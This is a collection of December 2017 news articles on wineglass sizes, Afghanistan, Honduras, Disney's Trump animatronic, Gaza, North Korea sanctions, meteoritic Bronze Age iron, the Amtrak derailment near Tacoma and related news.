In the study, researchers at the University of Cambridge looked at the size of glassware over 300 years to see if there were any links between glass size and alcohol consumption. The findings were  one might say  glass-shattering: From 1700 to 2017, the size of wineglasses increased almost sevenfold. More recently, wine consumption also went up, with intake quadrupling between 1960 and 1980 and then doubling between 1980 and 2004.

The study was published yesterday (Dec. 13) in the Christmas issue of the journal The BMJ, which is a tongue-in-cheek edition of the medical journal, which normally publishes serious research. [Here's How Much Alcohol Is OK to Drink in 19 Different Countries]

But how do you measure the average size of a wineglass in 1700? To do so, the researchers looked everywhere, including the archaeology department at the University of Oxford, the designs of the Royal Household, and various department stores and catalogs. They even checked eBay. In some cases, the sizes of the glasses were listed, but for the rarer and older models, they had to manually fill the antiques with water to measure how much they held.

After measuring more than 400 wineglasses spanning three centuries in England, the researchers found that in 1700, the typical wineglass held, on average, 2.2 fluid ounces (66 milliliters) of liquid. That's roughly the equivalent of a double shot of liquor. By 2017, however, wineglasses ballooned to hold, on average, 15.2 fluid ounces (449 milliliters) of liquid  nearly 2 cups  if you were to fill the glass to the very top.

At first, the reasons for the increase in size were technical. Certain advances  including the invention of lead crystal glassware (which is less fragile), automated manufacturing and the abolishment of the glass tax in the U.K.  made it cheaper to produce larger wineglasses.

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But ultimately, the biggest factors in the growing size of the wineglasses may be cultural, according to senior study author Dame Theresa Marteau, a psychologist and the director of the Behaviour and Health Research Unit at the University of Cambridge. Most likely, because of changes in the "affordability, availability and marketing" of wine, people and industries began to want and use larger glases.

Americans may also be to blame (or thank) for the increase in size in England's wineglasses: British manufacturers cite demands for supersize glasses by the U.S. market in the 1990s.

But does a larger glass really cause you to drink more? Though the researchers noted that the study does not prove cause and effect, a larger container size for other food products has been associated with increased consumption, and previous research has linked alcohol consumption and cup size.

The reason for this isn't simply that people pour more wine with a larger glass, Marteau told Live Science. Instead, perception may play a role  you believe you're drinking less with a larger glass  as well as enjoyment, as larger glasses can potentially release more of the wine's aroma.

Marteau added that the study caused her to notice the increase in size of her own glassware over the past several decades and, as such, shift back to the smaller sizes.

Originally published on Live Science.

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KABUL (Reuters) - Islamic State claimed responsibility for an attack on Monday near a training facility of Afghanistan's main intelligence agency in the capital, Kabul.

A group of armed men seized a building under construction in a heavily populated area of the city before being killed by security forces, officials said. Aside from the attackers, no significant casualties were reported.

The Afshar area of Kabul where the attack occurred is close to a training facility of the National Directorate of Security, the main Afghan intelligence agency, as well as a private university.

Islamic State claimed responsibility in a statement on its Amaq news agency, in which it said two of its fighters had attacked an intelligence agency centre in Kabul.

The group, which first appeared in Afghanistan in 2015, has claimed responsibility for a number of attacks in Kabul over the past several months.

But much remains unknown about how it operates and many observers are sceptical about its ability to mount complex attacks on its own.

(Reporting by Mirwais Harooni and Mostafa Hashem in CAIRO; Writing by Kay Johnson; Editing by Robert Birsel and Catherine Evans)
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Tegucigalpa (AFP) - Police in Honduras fired teargas Monday at demonstrators who set up flaming roadblocks and looted stores after the incumbent president was declared the winner of a heavily-disputed election.

The leftist opposition has claimed fraud in the election three weeks ago that finally led to the pronouncement Sunday of conservative President Juan Orlando Hernandez as the winner after an oft-interrupted vote count.

International observers also cited irregularities, and the defeated opposition candidate Salvador Nasralla arrived in Washington Monday to present what he said was evidence of electoral fraud to the Organization of American States (OAS).

"We are presenting multiple pieces of evidence, as the theft had various facets," said Nasralla, a 64-year-old former TV presenter.

Nasralla said that among those items were what he described as recordings of Hernandez ordering the head of the electoral commission, David Matamoros, not to release the election results until they had been doctored in his favor.

The opposition candidate was due to go on to meetings with the US State Department.

"The United States does not know the reality of the fraud and we are bringing a document (on a) USB showing how they suppressed the votes," he said.

Protests broke out Sunday night in Honduras and continued into Monday morning as police cleared the streets of barricades.

In the northern city of San Pedro Sula, police said protesters looted stores and burned a bank branch and a bus.

In the capital city Tegucigalpa, people woke up Monday to smoldering barricades of tires, sticks and rocks. Authorities sometimes needed heavy machinery to remove them. Under a light rain, some small groups of demonstrators continued to man roadblocks.

On a road leading out of the north of the city, police fired teargas at demonstrators and on a major thoroughfare they negotiated with protesters to leave one lane open to traffic.

- Fresh polls -

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There has been violence since the November 26 election, as anti-Hernandez protesters and police squared off repeatedly.

Police have counted three deaths in the unrest. But the opposition says 20 people have died, and Amnesty International registered 14 fatalities.

The ballot was deeply contentious.

Hernandez, 49, stood for re-election against Nasralla, the candidate of the leftist Opposition Alliance Against the Dictatorship, despite a constitutional ban on presidents having more than one term.

His conservative National Party said that rule was scrapped by a 2015 Supreme Court ruling.

But the opposition insists ballots were tampered with after the election, and says unusual breaks in the count that dragged out the tally over more than a week were suspicious.

The leftist opposition alliance said it was not recognizing Hernandez's win.

Manuel Zelaya, a former president who was overthrown in a 2009 coup, said the country would not recognize Hernandez.

"We absolutely reject the declaration by the Supreme Electoral Commission ... We refuse to acknowledge any acts because the people recognize Salvador Nasralla as president," he said.

The Supreme Electoral Tribunal had previously declined to name a victor, despite saying that its count of the ballots showed a slight margin in favor of Hernandez: 43 percent to 41 percent for Nasralla.

But it had to do so by a December 26 deadline, or risk the entire election being invalidated.

Nasralla is insisting the entire vote be held again, with greater international scrutiny. The OAS secretary general, Luis Almagro, said his the organization's own observers had deemed the elections to be "poor quality" and backed calls for a fresh poll.

Honduras is beset by violence, poverty and corruption and provides many of the undocumented migrants headed to the United States.
Donald Trump not only lives in the White House; he now lives at Disney World too  a robotic version of him at least.

After a yearlong closure for renovations, Walt Disney World in Orlando reopened the Hall of Presidents exhibit at the Magic Kingdom. In addition to updated lighting, sound, and content, the park also added the current sitting president, Donald J. Trump.

Yes, the robot Trump moves and even talks. Trump himself recorded his speaking lines for the exhibit, as has every president since Bill Clinton in the 1990s. But the internet couldnt get over how the new animatronic figure looked. Lets just say the resemblance was not uncanny.

Trump's animatronic figure for the Disney Hall of Presidents looks like it was carved out of Play-Doh and left out in the Florida heat, where it was discovered by a dying albino squirrel who settled atop its head and has been left there to decompose. pic.twitter.com/3vMZUTEylx  Elizabeth M. (@_ElizabethMay) December 19, 2017

Disney really did Trump dirty with his Hall of Presidents waxwork well done Disney, well done. pic.twitter.com/KgtTbvTcpj  Lewis John Yule (@LewisJohnY2) December 19, 2017

There are also some wild theories about why Trumps robot looks odd, to say the least. It was rumored last year that Disney was so sure Democratic candidate Hillary Clinton would win the election that it had already discussed how to dress her for the exhibit. Now Twitter is running with this conspiracy:

The more I see of Disney's 'Hall of Presidents' Trump, the more I'm convinced they made a Hillary one first and had to redo it pic.twitter.com/vJTMnZPak8  maple cocaine (@historyinflicks) December 19, 2017

Here me out on this. Clearly Disney had Hilary's robot ready to go and then they had to try and make it look like Trump. Don't hate me. This is just a necessary and painful fact we all need to deal with. pic.twitter.com/biSirfwE59  Shannon O'Neill (@spotastic) December 19, 2017

There is, however, one believable theory about the Trumpbot. Many Twitter users pointed out the robots resemblance to actor Jon Voight.

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Disney gave the job of Trump in the Hall of Presidents to Jon Voight and I cant stop laughing. pic.twitter.com/dtu4PnqPv4  Wil Spillane (@2xUEss) December 19, 2017

I always knew Jon Voight would ascend to the presidency one day. pic.twitter.com/zAyfpQyWc0  Courtney Theriault (@cspotweet) December 19, 2017

Donald Trump, by the way, has not responded to the Hall of Presidents disaster.

In less creepy internet news: NBCs The Office is in the works for a television comeback. The Hollywood Reporter reports that the network is looking to revive the popular comedy that ended in 2013 after nine seasons. Fans initially loved the idea.

OKAY ITS HAPPENING ITS HAPPENING PEOPLE EVERYONE STAY CALM https://t.co/a6cAUgt2G1  Will Bjarnar (@wbjarnar34) December 19, 2017

Unlike the successful reboot of Will and Grace, however, NBC will not be rebooting the show with the original cast. Some fans had major problems with recasting the show  especially Steve Carells character, Michael Scott.

IF THERE IS NO MICHAEL SCOTT, THERE IS NO REVIVAL OF THE OFFICE https://t.co/eE03DrrNEb  Jess defends #NetNeutrality (@GeekyNonsense) December 19, 2017

when theres a The Office revival but it doesnt have michael scott coming back pic.twitter.com/RaQxiCYJaN  JM Peretin (@Jmprtn13) December 19, 2017

If the rumors are true, The Office will return to the small screen for the 2018-2019 season.

Watch: Roy Moores horse, Sassy, wins the internet on Alabama senate race Election Day:

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JERUSALEM (Reuters) - The Israeli military said it attacked a Hamas training compound in Gaza on Monday in response to rocket strikes from the Palestinian enclave, which have surged since U.S. President Donald Trump recognized Jerusalem as Israel's capital on Dec 6. Neither side reported any casualties in the overnight shelling exchange, which occurred days before U.S. Vice President Mike Pence visits Israel and neighboring Egypt, which also borders Gaza and is involved in its internal politics. Militants in Gaza, territory controlled by the Hamas Islamist group, have launched more than a dozen rockets into southern Israel over the last two weeks, the most intensive attacks since a seven-week-long Gaza war in 2014. Two rockets were fired late on Sunday, one of them exploding inside an Israeli border community and the other hitting an open area, the military said. Another rocket launched early on Monday fell short inside Gaza, it said. Three structures in a Hamas training camp were hit in the Israeli counter-strike, the military said. Hamas usually evacuates such facilities when tensions rise, and Israel's choice of the low-profile target appeared to signal a desire to avoid more serious confrontation with the group. "Israel does not seek escalation," Justice Minister Ayelet Shaked said on Army Radio. But Zeev Elkin, another member of Prime Minister Benjamin Netanyahu's security cabinet, said in an interview with the radio station that Israel's military response would "have to be harshened" if the rocket fire did not stop. Israeli officials have blamed the fire on smaller militant groups in Gaza and called on Hamas to rein them in. Should Hamas fail to do so, both Shaked and Elkin said, Israel could eventually target the group's leadership for attack. (Reporting by Jeffrey Heller; editing by John Stonestreet)
Jane Fonda, at her birthday party, with Chelsea Handler. (Photo: Instagram/Chelsea Handler)

Jane Fonda rang in her 80th birthday in one of her freshest looks yet.

The actress threw a big bash over the weekend, and while the event was worthy of a glamorous gown, the ever-unpredictable Fonda instead went with a suit. It was a look that seemed to sprout from a high-end fashion collaboration between a Blues Brother and Jay Gatsby.

While this birthday party wasnt as public as the star-studded soiree she had a few weeks ago to raise money for her foundation Georgia Campaign for Adolescent Power and Potential, attendees like Chelsea Handler gave fans a sneak peek at this weekends party and the guest of honors outfit.

Last night was this womans 80th birthday. She is sexier, funnier, and sillier than anyone Ive met and I take gray pride I knowing her. Thanks for a great fucking party. Happy birthday, @janefonda A post shared by Chelsea Handler (@chelseahandler) on Dec 17, 2017 at 3:08pm PST

Handler posted a photo of herself and the Oscar winner at the event, which she deemed a great f***ing party, on Instagram. In the snap, Fonda is wearing black slacks, a white dress shirt, suspenders, and a loosened tie. Ever in character, Fonda had a jacket swung over her shoulder, and a fedora sat atop her head, making the look even more gangster than it was already.

Happy birthday @janefonda #happybirthday #80thbirthday #funparty A post shared by David Phoenix (@davidphoenixinc) on Dec 16, 2017 at 11:24pm PST

Interior designer David Phoenix also shared shots from the Los Angeles event. In one, Fonda can be seen onstage in her fedora and suspenders, gripping an old-fashioned microphone. We can only imagine what was happening at that moment, but it looks like she was singing a song from Guys and Dolls. He also posted photos of the gorgeous floral cakes created for Fondas big night.

Bottom line: It looks like the activist and actress, who remarkably becomes an octogenarian on Dec. 21, was having a ball, which is exactly what she deserves.

Story continues

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By Michelle Nichols and David Brunnstrom UNITED NATIONS/WASHINGTON (Reuters) - The United States has called on the U.N. Security Council to blacklist 10 ships for circumventing sanctions on North Korea, documents showed on Tuesday, while South Korea's President suggested curtailing military exercises with Washington to ease tensions ahead of next year's Winter Olympics. Documents seen by Reuters said the 10 vessels had been conducting ship-to-ship transfers of refined petroleum products to North Korean vessels or transporting North Korean coal in violation of U.N. sanctions imposed over Pyongyang's nuclear and missile programs. The ships would be blacklisted - meaning countries would be required to ban them from entering their ports - if none of the 15 members of the Security Council's North Korea sanctions committee object by Thursday afternoon. North Korea is under a U.N. arms embargo and the Security Council has banned trade in exports such as coal, textiles, seafood, iron and other minerals to choke funding for Pyongyang's missile and nuclear programs. In September, the council put a cap of 2 million barrels a year on refined petroleum products exports to North Korea. The ships targeted for blacklisting were Xin Sheng Hai (flag unknown); the Hong-Kong-flagged Lighthouse Winmore; the Togo-flagged Yu Yuan; Panama-flagged Glory Hope 1 (also known as Orient Shenyu), Kai Xiang, and Billions No. 18; and the North Korean-flagged Ul Ji Bong 6, Rung Ra 2, Rye Song Gang 1, and Sam Jong 2. Four ships were designated for carrying coal from North Korea by the council's North Korea sanctions committee in October. The United States has led a drive to step up sanctions on North Korea in response to Pyongyang's efforts to develop nuclear-tipped missiles capable of hitting the United States. In Ottawa on Tuesday, Canada and the United States said they would co-host a foreign ministers meeting in Vancouver on Jan. 16 to demonstrate international solidarity against North Korea's nuclear and missile tests. Representatives of the countries that sent troops or other military support to the U.N.-backed effort to repel North Korean forces after the 1950 invasion of South Korea will attend. Japan, India and Sweden will also attend, U.S. Secretary of State Rex Tillerson said. "We can't talk unless North Korea is ready to talk," Tillerson told reporters after meeting with Canadian Foreign Affairs Minister Chrystia Freeland. "What's important for North Korea to know is that this pressure campaign will not abate, we will not be rolling any of it back, it will only be intensified as time goes by, and it will remain in place until they agree to give up their nuclear weapons and allow us to verify the fact that is what they have done," he said. Freeland said the world had to demonstrate to North Korea that it was united in condemning Pyongyang's actions. "The international pressure campaign - we believe it's going to be successful, and a successful outcome of the international pressure campaign is a diplomatic engagement," Freeland said. Washington has warned that all options are on the table, including military ones, to prevent North Korea's missile development. On Friday, Tillerson had urged North Korea to carry out a "sustained cessation" of weapons testing to allow the two countries to hold talks. North Korea paused its missile testing for more than two months before firing a new type of intercontinental ballistic missile in late November. U.S. officials say it has given no indication it is willing to discuss giving up its nuclear program and Pyongyang has repeatedly denounced U.S. and South Korean military drills, which it says are a prelude to invasion. On Tuesday, South Korean President Moon Jae-in said he was willing to ease tensions ahead of next year's Winter Olympics in South Korea by curtailing joint military exercises. "It is possible for South Korea and the U.S. to review the possibility of postponing the exercises," he told NBC News. "Ive made such a suggestion to the U.S., and the U.S. is currently reviewing it. However, all this depends on how North Korea behaves." A spokesman for the U.S. Pacific Command, Commander Dave Benham, declined to discuss any plans for exercises. Earlier on Tuesday, Japan and South Korea, both U.S. allies, urged China to put more pressure on North Korea. Japanese Foreign Minister Taro Kono said after talks with South Korean Foreign Minister Kang Kyung-wha that China - North Korea's neighbor and only big ally - was implementing Security Council resolutions but could do more. China routinely says it is meeting its U.N. obligations on North Korea and has urged "all sides" to pursue dialogue. The U.S. Navy's top officer, Chief of Naval Operations Admiral John Richardson, said on Tuesday that vessels from the eastern Pacific could be moved to reinforce U.S. naval power in Asia as Washington contends with increased threats in the region and accidents that have weakened its maritime force. China has been irritated by stepped-up U.S. naval deployments in the Pacific and along with Russia has proposed that Washington and Seoul halt major military exercises in exchange for North Korea freezing its weapons programs. Washington has warned North Korea it would be "totally destroyed" in the event of war and on Monday U.S. President Donald Trump unveiled a new national security strategy stressing the need to deal with the challenge posed by Pyongyang. This week Washington publicly blamed North Korea for a massive worldwide cyber attack in May that crippled hospitals, banks and other companies. A White House official said on Tuesday that Facebook Inc and Microsoft Corp disabled a number of North Korean cyber threats last week. Researchers say a series of cyber attacks has netted North Korean hackers millions of dollars in virtual currencies like bitcoin, with more attacks expected, as international sanctions drive the country to seek new sources of cash. (Reporting by Josh Smith in Seoul, Jeremy Wagstaff in Singapore, Tim Kelly and Kiyoshi Takenaka in Tokyo, David Brunnstrom, Susan Heavey and Idrees Ali in Washington, Michelle Nichols at the United Nations, Warren Strobel and Leah Schnurr; Writing by Linda Sieg, Nick Macfie and Grant McCool; Editing by James Dalgleish)
A Jesuit priest says the whole Happy Holidays vs. Merry Christmas debate is just a distraction.

I dont think Jesus would care much about whether we say Merry Christmas or not, the Rev. Kevin OBrien, dean of the Jesuit School of Theology at Santa Clara University, said in an opinion piece for Mic.

He added:

More important than just saying Merry Christmas is to live it. That is, to live as Jesus did: To live a life of simplicity, a life of generosity, a life of service, a life of welcome and hospitality to others. And thats the conversation we should be having.

OBrien said we should be careful about how we use language in a pluralistic society.

Pope Francis will often speak about a culture of encounter, not confrontation, OBrien said in the video. And this means listening to people and respecting people who are different than us.

OBrien told the San Jose Mercury News that he heard from people around the world after the video went online earlier this month. The clip has racked up more than 1 million views on Facebook.

I heard from Muslims and Catholics, he told the newspaper. Theyre tired of the division in society or in their church or their mosque. They want more peace and understanding.

OBrien also called the message in his video very basic.

Its very simple, he said. Lets live our faith, lets respect each other, talk to each other and not confront each other.

Related...

Corey Lewandowski Says Donald Trump Won The War On Christmas

Trump Launches The 'War On Christmas' In July

Donald Trump Fires Up War-On-Christmas Rhetoric In October

Donald Trump Has Not Convinced America There's A War On Christmas

Also on HuffPost

The famed Rockefeller Center Christmas tree in 1955.

Denver's Christmas display in 1958.

A woman dressed in a Christmas costume, circa 1920s.

Balloons spelling out "Merry Xmas" during a 1939 parade in Boston.

Pennsylvania Station in New York adorned with Christmas decorations.

A boy distributes presents to his family in the 1950s.

Traditional Philippino Christmas decorations hanging over the streets in the 1950s.

A "modern" Christmas tree display in Pittsfield, Massachusetts.

Christmas decorations at Rockefeller Plaza in 1949.

An inmate at New York's Rikers Island jail painting a huge Santa Claus on a wall in 1955.

Rockefeller Christmas tree lit up at night in New York City in 1940.

Men fasten globes to one of the large Christmas lanterns ready to be erected in Regent Street in London.

Father Christmas with page boys around a Christmas tree in 1934.

Santa Claus is surrounded by scantily clad movie stars in Hollywood, California, in 1946, as his sleigh moves down "Santa Claus Lane."

A house with Christmas decorations in Queens, New York.

A young boy looks on in wonder as his model train moves around the track in this undated photograph.

A giant Christmas cracker containing an Austin car on show in a Wanstead motor depot in 1929.

Santa Claus carrying a bag full of presents in the late 1940s.

The home of Chicago Tribune publisher Robert R. McCormick in Wheaton, Illinois. There is snow on the ground and lights in the trees.

A boy and his father inspect a small evergreen tree during a Christmas tree hunt in a snowy field in 1955.

Christmas trees inside Grand Central Terminal.

A little girl stands by s Christmas tree clutching her doll in the 1950s.

Brussels prepares for its 1949 Christmas display, with millions of colored bulbs decorating the main streets.

A Christmas tree in a dining room at Parkside Hotel in New York City in 1931.

Car headlights add extra ribbons of light to the Christmas decorations and the festive "sugar cane" streetlamps of 1950s Washington.

Mary Pickford, assisted by little Johanna Randall (whom she is holding) and Muriel Wisdom, keeps up a Hollywood tradition in 1937 by trimming the first outdoor Christmas tree in Beverly Hills, California. Pickford was then the honorary chairman of the Holiday Beautification movement, which created the pre-holiday activities of the movie colony when she began to trim the tree.

People lined up on Wall Street in New York City to post their Christmas cards and packages at a huge mailbox.

A boy's first encounter with Santa in Erie County, Pennsylvania, in 1975.

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WASHINGTON (Reuters) - A federal jury convicted a former police officer of the Metro Transit in Alexandria, Virginia, on Monday for attempting to provide material support to the terrorist group known as the Islamic State of Iraq and al-Sham, also known as ISIS, the U.S. Justice Department said.

Nicholas Young, 38, could face up to 60 years in prison and will be sentenced on Feb. 23, the department said.

He was accused of trying to help ISIS in July 2016 by purchasing and sending gift card codes that he hoped might help the group securely communicate with would-be recruits.

(Reporting by Sarah N. Lynch; Editing by Richard Chang)
Senator Tim Kaine (D-Va.) speaks about health care reform in Washington in October 2017. (Reuters/Joshua Roberts)

WASHINGTON  Sen. Tim Kaine, D-Va., pressed the Trump administration on Tuesday to clarify whether U.S. forces deployed in Syria and Iraq to fight ISIS are shifting their focus to confront Iran and its proxies. The Democrat also warned that such a change in the military mission might be illegal absent explicit authorization from Congress.

In a letter to Secretary of State Rex Tillerson and Defense Secretary James Mattis, Kaine cited troubling news reports that thousands of U.S. troops will turn from toppling the so-called caliphate set up by ISIS to a new and open-ended mission to take on Iran.

If these reports accurately reflect your intentions, the actions you are likely considering far exceed the counter-ISIS mandate and lack domestic or international legal authority to support the continued presence of U.S. forces absent host nation approval or evidence of an enemy that poses an imminent threat to the United States, the senator wrote to the secretaries.

Iran has stepped up what America considers its destabilizing activities, including support for Assad and extremist groups, since the death of archenemy Saddam Hussein and in the aftermath of the 2015 nuclear deal Tehran signed with great powers including the United States. The Trump administration has vowed to confront the Islamic Republican more forcefully.

Irans President Hassan Rouhani speaks during an extraordinary meeting of the Organisation of Islamic Cooperation (OIC) in Istanbul, Turkey, December 13, 2017. REUTERS/Erhan Elaldi/Pool

Kaine noted that the administration  like President Obamas before it  justified the campaign against ISIS on legal grounds by invoking the Authorization for Use of Military Force (AUMF) passed shortly after 9/11 to greenlight the war on al-Qaida, and the AUMF adopted in late 2002 to approve military action against Saddams Iraq.

I am concerned that the United States will soon find itself lacking domestic or international legal standing for operations in Syria based on official statements that our presence, intended for a narrowly-scoped campaign to fight ISIS, might now be used to pressure the Syrian government, target Iran and its proxies, and engage other entities not covered under the 2001 AUMF, the senator wrote.

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Kaine has long pushed for Congress to overhaul the legal underpinnings of the global war on terrorism. He called in mid-2014 for lawmakers to formally approve military action against ISIS.

We have allowed President Obama to wage an executive war of his own choosing without any congressional permission for nearly two years, the senator told Virginia Military Institute cadets at their May 2016 graduation. Its not hard to imagine that a future president will use this example to also justify initiating war without the permission of Congress.

In Tuesdays letter, Kaine highlighted Iraqi Prime Minister Haider al-Abadis claim, on Dec. 9, that ISIS had been defeated in Iraq, and the State Departments statement that same day that the ISIS caliphate there had been erased. He also noted that comments from Mattis in mid-November suggested that U.S. forces would stay in Syria to wipe out ISIS remnants and compel dictator Bashar Assad to make concessions at U.N.-backed peace talks in Geneva. Were not just going to walk away right now before the Geneva process has cracked, Mattis told reporters.

Kaine asked the secretaries whether they believed ISIS has been defeated in Iraq and Syria, and how the administration defines victory over ISIS.

He also urged Tillerson and Mattis to say whether the administration planned to keep U.S. forces in Iraq or Syria to combat Iran, and under what legal authority. And he asked the defense secretary for the legal justification for using U.S. forces to bring Assad to the negotiating table.

Despite the comments from al-Abadi and the State Department, and the destruction of the ISIS caliphate, that terrorist army has not been defeated. U.S. officials privately describe the Iraqi leaders comments as a political statement, not a formal military assessment, and note that ISIS fighters remain in Iraq and Syria.

U.S. Secretary of State Rex Tillerson, right, and U.S. Secretary of Defense Jim Mattis. (Mark Metcalfe/Pool Photo via AP)

And the White House has struggled to define victory.

Two days after Abadis comment, White House press secretary Sarah Sanders told reporters that there is more work to be done on the ground in the shrinking ISIS-controlled areas, and the presidents plan to annihilate ISIS is moving forward.

We must also destroy the evil ideology that is behind ISIS and attacks like todays. This ideology has no borders but it must be eradicated, she said. The president has successfully rallied the world behind this cause, and we will not stop until it is accomplished.

While losing its caliphate dealt a crippling blow to the core message of the so-called Islamic State, its not clear how the United States can eradicate the groups extremist appeal.

Asked what new policies would help achieve that goal, Sanders promised that were going to continue pushing and continue looking for the best ways possible to make sure that we protect Americans.

The Departments of Defense and State did not have on-the-record comments at publication time.
Daggers, axes and jewelry made from rare iron during the Bronze Age are literally out of this world, according to new research finding that ancient artisans crafted these metal artifacts with iron from outer space carried to Earth by meteorites.

The finding upends the idea that a few artisans during the Bronze Age in the ancient Near East knew how to make iron by smelting it from Earth's crust.

Instead, it appears that Bronze Age metalworkers sought out meteorites to make these treasures, said study author Albert Jambon, a French archaeo-metallurgist and a professor at the Pierre and Marie Curie University, in Paris. [See Photos of King Tut's Dagger & Other Old Iron Objects]

"Iron from the Bronze Age are meteoritic, invalidating speculations about precocious [early] smelting during the Bronze Age," Jambon wrote in the study.

The portable analyzer can detect the chemical composition of objects by using a non-destructive scan with X-rays. Albert Jambon

Jambon tested the ancient iron daggers, including one from Pharaoh Tutankhamun's tomb in Egypt, iron axes and pieces of iron jewelry from the ancient Near East and China with X-ray scans to identify their metals.

Last year, a study using X-ray fluorescence (XRF) spectrometry determined that Tutankhamuns dagger was made with iron containing nearly 11 percent nickel and traces of cobalt: a characteristic of extraterrestrial iron found in many of the iron meteorites that have rained down on Earth for billions of years.

Archaeo-metallurgist Albert Jambon scans an iron meteorite with a portable X-ray fluorescence analyzer. Albert Jambon

Most of the iron meteorites that smash into Earth each year are thought to have formed in the metal-heavy cores of planetesimals  small bodies in the protoplanetary disk of debris that orbited the sun during the early stages of the solar system.

As a result, these meteorites contain high levels of nickel or cobalt. In contrast, iron smelted from terrestrial iron ores, which are mined from our planet's outer crust, contain less than 1 percent nickel or cobalt, far less than the levels found in iron-rich space rocks.

Jambon used a portable XRF analyzer to scan other ancient iron objects and iron meteorites in museums, as well as iron in private collections in Europe and the Middle East.

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His research showed that all the iron in the tested artifacts came from meteorites, and not from terrestrial smelting, he told Live Science in an email.

The findings suggested that iron meteorites were the only source of that metal until the discovery of smelting iron from terrestrial iron ore, probably in Anatolia and the Caucasus around 3,200 years ago, Jambon said.

Ancient iron

Jambon examined some of the most ancient iron objects ever found, including sheet-iron beads from Gerzeh in Egypt, dated to 3200 B.C.; an ax from Ugarit on the coast of northern Syria, dated to 1400 B.C.; a dagger from Alaca Hoyuk in Turkey, dated to 2500 B.C.; and three iron objects from Tutankhamun's tomb, dated to 1350 B.C.  a dagger, a bracelet and a headrest.

The iron axe from Ugarit on the coast of northern Syria is dated to 1500 B.C., about 300 years before the invention of smelting iron. Albert Jambon

Some archaeologists have proposed that these early iron objects could have been created by "precocious" smelting of iron ore nearly 2,000 years before the technology became widespread in the early Iron Age  perhaps by accident, or through experimentation.

But Jambon said his research found no evidence that smelted iron was known until the Iron Age dawned in the Near East, around 1200 B.C. The oldest-known furnace for smelting iron ore, at Tell Hammeh in Jordan, dates to 930 B.C., he noted. [Photos: Ancient Burial and Metal Tool from Southern Levant]

"We know from texts that during the Bronze Age, iron was valued 10 times as much as gold," Jambon said. "[But] in the early Iron Age, the price fell dramatically to less than that of copper, and this is the reason why iron replaced bronze quite rapidly."

His analysis also showed that Tutankhamun's dagger, bracelet and headrest were made from the iron of at least two different meteorites, suggesting that an active search was carried out for valuable iron meteorites in ancient times, he said.

Metal from space

Jambon hopes to scan more ancient iron with XRF spectrometry, but access to these items is not always possible, especially in conflict zones like Syria and Iraq. Even studying artifacts in museums can be challenging, he said.

This iron dagger from dagger from Alaca Hoyuk in Turkey is dated to 2500 B.C.  about 1,000 years before iron smelting was invented. Albert Jambon

"For obvious reasons, curators are reluctant to carry artifacts to a foreign institution, and this is why we need to travel, he said: "This is why the portable XRF analyzer changed the deal."

Jambon hopes his research will form the basis of a hunt for the earliest smelted irons on Earth. "The very first irons will be recognized from their chemical composition, which markedly differs from meteoritic iron," Jambon said. "Such analyses should be done for all irons between 1300 [B.C.] and 1000 B.C."

"[This method] opens the possibility of tracking when and where the first smelting operations happened, the threshold of a new era, he wrote in the study, published in the December issue of the Journal of Archaeological Science.

Original article on Live Science.

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At least three people were killed Monday and dozens were rushed to hospitals when an Amtrak passenger train carrying more than 80 people derailed and partially landed on a busy highway near Tacoma in Washington state during its inaugural run, officials said.

A train car was dangling from the track over a stalled Interstate 5 and another train car was smashed on the highway, photos of the aftermath show. Thirteen cars jumped the track, Washington State Trooper Brooke Bova told reporters. The train cars struck five vehicles and two semi-trucks below as they fell, state officials said. None of the drivers below were killed.

The Associated Press reported earlier that at least six people died, but local officials could only confirm three fatalities as of Monday evening. There were 86 people, including passengers and crew members, on board the Amtrak Cascades, which was traveling from Seattle to Portland, shortly before 8 a.m. when it derailed, Amtrak said.

Heres what we know about the Amtrak derailment:

Was the train going too fast?

Federal investigators say the train was traveling at 80 mph when it derailed in a 30 mph zone, according to the AP. A track chart prepared by the Washington State Department of Transportation showed that the maximum speed for passengers trains around the curve where the tracks cross Interstate 5 drops from 79 miles per hour to 30.

At a news conference Monday night, Bella Dinh-Zarr, an official with the National Transportation Safety Board, said an event data recorder on the locomotives rear provided information about the trains speed. Dinh-Zarr added its too early to tell why the train was moving so fast. She said it is still unclear what caused the derailment, according to the AP.

Warning about the new track

At a Dec. 4 meeting of the Lakewood, Wash. City Council, Mayor Don Anderson warned about the routes potential safety issues, according to video posted online by Seattle radio station KOMO. Come back when there is that accident, and try to justify not putting in those safety enhancements, or you can go back now and advocate for the money to do it, because this project was never needed and endangers our citizens, Anderson can be heard saying.

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The incident remains under investigation. The AP, citing an anonymous official, said the train may have struck an object on the track before it derailed.

The Amtrak Cascades train was making its inaugural run after undergoing weeks of tests, according to the Washington State Department of Transportation.

Our statement on today's Amtrak Cascades derailment. pic.twitter.com/BxORZ9cMqV  Washington State DOT (@wsdot) December 18, 2017

The Seattle Times said the train was using a new route, meant to shorten the length of trips, as part of a long $181 million project.

All southbound lanes on Interstate 5 are expected to be shut down for the rest of the day, officials said.

An Amtrak train that was derailed south of Seattle on Dec. 18, 2017. Authorities reported

How many people died?

The AP, citing an anonymous federal official, had reported that at least six people died, but local officials on Monday evening said three people were killed. Of the 72 people evaluated for injuries, state officials said 10 were in serious condition.

How did President Trump react?

At a news conference and in a pair of tweets Monday, President Donald Trump offered his condolences to the victims of the derailment, but said the countrys infrastructure needs improvement. Trump tweeted that the derailment in Washington shows more than ever why our soon to be submitted infrastructure plan must be approved quickly. Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long! he wrote.
MOSCOW (Reuters) - The Kremlin dismissed U.S. President Donald Trump's new national security strategy as imperialist on Tuesday, but welcomed Washington's willingness to cooperate in some areas. A day earlier, Trump's administration had unveiled a security paper - based on the president's 'America First' push - that accused Russia of interfering in other countries' internal affairs. "A quick read of the parts of the strategy that mention our country one way or another... (shows) an imperialist character," Kremlin spokesman Dmitry Peskov told reporters. The paper, he added also showed "an unwillingness to give up the idea of a unipolar world, moreover, an insistent unwillingness, disregard for a multipolar world." Trump's strategy paper did not include specific accusations from U.S. security agencies that Moscow meddled in the 2016 U.S. election. But it reflected a broader view long held by U.S. diplomats that Russia actively undermines American interests at home and abroad. "We can not agree with an attitude that sees our country as a threat to the United States," Peskov said. "At the same time, there are some modestly positive aspects, in particular, the readiness to cooperate in areas that correspond to American interests." Trump has frequently spoken of wanting to improve relations with President Vladimir Putin, even though Russia has frustrated U.S. policy in Syria and Ukraine and done little to help Washington in its standoff with North Korea. In a speech laying out his strategy on Monday, Trump said he had received a call from Putin a day earlier to thank him for providing U.S. intelligence that helped thwart a bomb attack in the Russian city of St. Petersburg. A U.S. Justice Department investigation is looking into whether Trump campaign aides colluded with Russia, something that Moscow and Trump both deny. 